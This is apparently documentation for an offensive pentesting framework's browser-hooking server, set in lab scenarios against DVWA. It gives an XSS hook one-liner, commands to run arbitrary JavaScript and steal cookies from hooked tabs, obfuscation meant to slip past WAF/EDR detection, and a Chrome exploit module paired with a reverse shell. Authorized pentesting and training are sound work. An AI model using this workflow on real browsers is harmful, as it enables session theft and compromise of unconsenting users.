Docs / Web application pentesting / Browser server: hooking and controlling a browser
GitHub

Web application pentesting

Browser server: hooking and controlling a browser

Position within KittySploit

KittySploit combines three layers for browser pentesting:

  1. KittyProxy (proxy) --- intercepts HTTP traffic, feeds the agent.
  2. Browser server (browser_server) --- hooks a browser and executes remote JavaScript via HTTP polling.
  3. Browser modules (browser_auxiliary/, browser_exploits/) --- business actions (cookies, isolated test environment keylogger, CSRF, Chrome exploits).

The browser server is not a proxy: it is lightweight command and control for the victim tab (in isolated test environment: your test tab).

Starting the server

browser_server start
browser_server start --host 127.0.0.1 --port 9000
browser_server start --obfuscation-level medium
browser_server start --host 0.0.0.0 --port 8080 --timeout 45 \
  --obfuscation-level heavy

Options:

  • --host --- 0.0.0.0 listens on all interfaces (test LAN); for browser URL use the machine IP.
  • --port --- default 8080 (possible conflict with WebGoat: change port).
  • --timeout --- HTTP request delay (seconds).
  • --obfuscation-level --- simple (minify), medium (+ hex strings), heavy (variable renaming, dead code).

Verification:

browser_server status
browser_server urls
browser_server inject

Served URLs (example port 9000, local host):

/adminSession management interface
/inject.jsStandard hook script
/xss.jsXSS-optimized variant (short payload)
/api/sessionsJSON session list API
/api/statusServer status

Technical architecture

HTTP polling (not WebSocket)

The injected client (inject.js) registers the browser via POST /api/register, then periodically polls GET /api/session/<id>/commands. JS commands are executed; results return via POST /api/command.

Advantages: traverses some proxies, simple to debug. Drawback: 1--2 s latency between command and result.

Session object

Each hooked browser gets a UUID session_id. The session stores: user_agent, ip_address, browser_info, command queue, fingerprint (fingerprint) for multi-tab targeting.

Isolated test environment scenario 1 --- test page (no XSS)

browser_server start --host 127.0.0.1 --port 9000
  1. Open http://127.0.0.1:9000/test in Firefox or Chrome.
  2. The page automatically loads the hook.
  3. KittySploit console: browser_server sessions.
  4. Copy the displayed Session ID.
  5. Open http://127.0.0.1:9000/admin --- same session visible in the web UI.

/admin web interface

Administration allows without a module:

  • list active sessions (IP, user-agent, last activity);
  • select a session;
  • send arbitrary JavaScript in the editor;
  • view responses and captured data (forms, captures).

Example JS to test in isolated test environment:

alert('KittySploit browser hook OK')
document.cookie
location.href
navigator.userAgent

Isolated test environment scenario 2 --- XSS on DVWA

lab start dvwa-basics
browser_server start --host 127.0.0.1 --port 9000 --obfuscation-level medium
browser_server inject
inject displays one-liners. Minimal example:
<script src="http://127.0.0.1:9000/inject.js"></script>

In DVWA XSS (Reflected), inject the one-liner (or xss.js variant). After execution:

browser_server sessions

Note the session_id. Dead sessions disappear if polling stops (tab closed).

Console control --- browser_auxiliary modules

Browser modules require session_id and an active browser_server.

Execute JavaScript

use browser_auxiliary/misc/execute_js
set session_id <UUID-copie>
set code alert('Pwned from console');
run

The module calls send_js() which enqueues the execute_js command.

Retrieve cookies

use browser_auxiliary/misc/get_cookies
set session_id <UUID>
run

Uses send_js_and_wait_for_response with 10 s timeout.

Framework sessions and sessions

The browser server registers hooks with the KittySploit session_manager (type BROWSER). Verify:

sessions -l

Post-browser modules and some exploits expect framework.browser_server to be initialized --- always start the server before use browser_auxiliary/....

Fingerprint and multi-tab

Advanced browser module options:

set fingerprint_match 80
set fingerprint_target <autre-session-uuid>

Targets one tab among several sharing an IP (same victim, multiple tabs). Modules find_similar_sessions and detect_properties help sort.

JavaScript obfuscation

When testing EDR/WAF detection on the hook payload (isolated test environment):

browser_server stop
browser_server start --port 9000 --obfuscation-level heavy

Compare size and entropy of /inject.js vs simple level. Document whether a test WAF blocks one and not the other.

Browser exploits (upper layer)

browser_exploits/ modules (e.g. Chrome CVE) combine BrowserExploit + payloads. They require:
  • active browser server;
  • hooked session on the vulnerable browser;
  • listener for reverse shell if exploit succeeds.
browser_server start --port 9000
# Hook the vulnerable Chrome session in an isolated test environment
use browser_exploits/multi/chrome_font_feature_uaf
set session_id <UUID>
show payloads
run
Reserved for research environments or isolated CVE isolated test environments.

Troubleshooting

Empty sessionTab closed? Reload /test
Command has no effectCheck polling (session is_polling_active)
Module ``browser server not running''browser_server start first
CORS / mixed contentHTTPS page + HTTP hook: use HTTP isolated test environment or proxy
No JS responseIncrease --timeout; simplify code

Client-side pentest workflow (mandate)

  1. Identify XSS surfaces (proxy, scanner, manual).
  2. Start browser_server on IP reachable by test victim (your VM).
  3. Inject hook via reflected/stored XSS within scope.
  4. Confirm hook (sessions, no unnecessary exfiltration).
  5. Demonstrate impact: get_cookies, execute_js (DOM read), no keylogger in production without agreement.
  6. Clean up: close sessions, browser_server stop, document URL/payload.

DVWA + KittyProxy + browser server integration

Advanced chain (isolated test environment):

proxy start --port 8081
browser_server start --port 9000
# Browse DVWA through the proxy to capture flows
# Trigger XSS with inject.js
# agent http://127.0.0.1 --reuse-proxy-auth --no-exploit
use browser_auxiliary/misc/get_cookies
set session_id <UUID>
run

Three complementary channels: traffic (proxy), JS execution (browser server), automation (agent).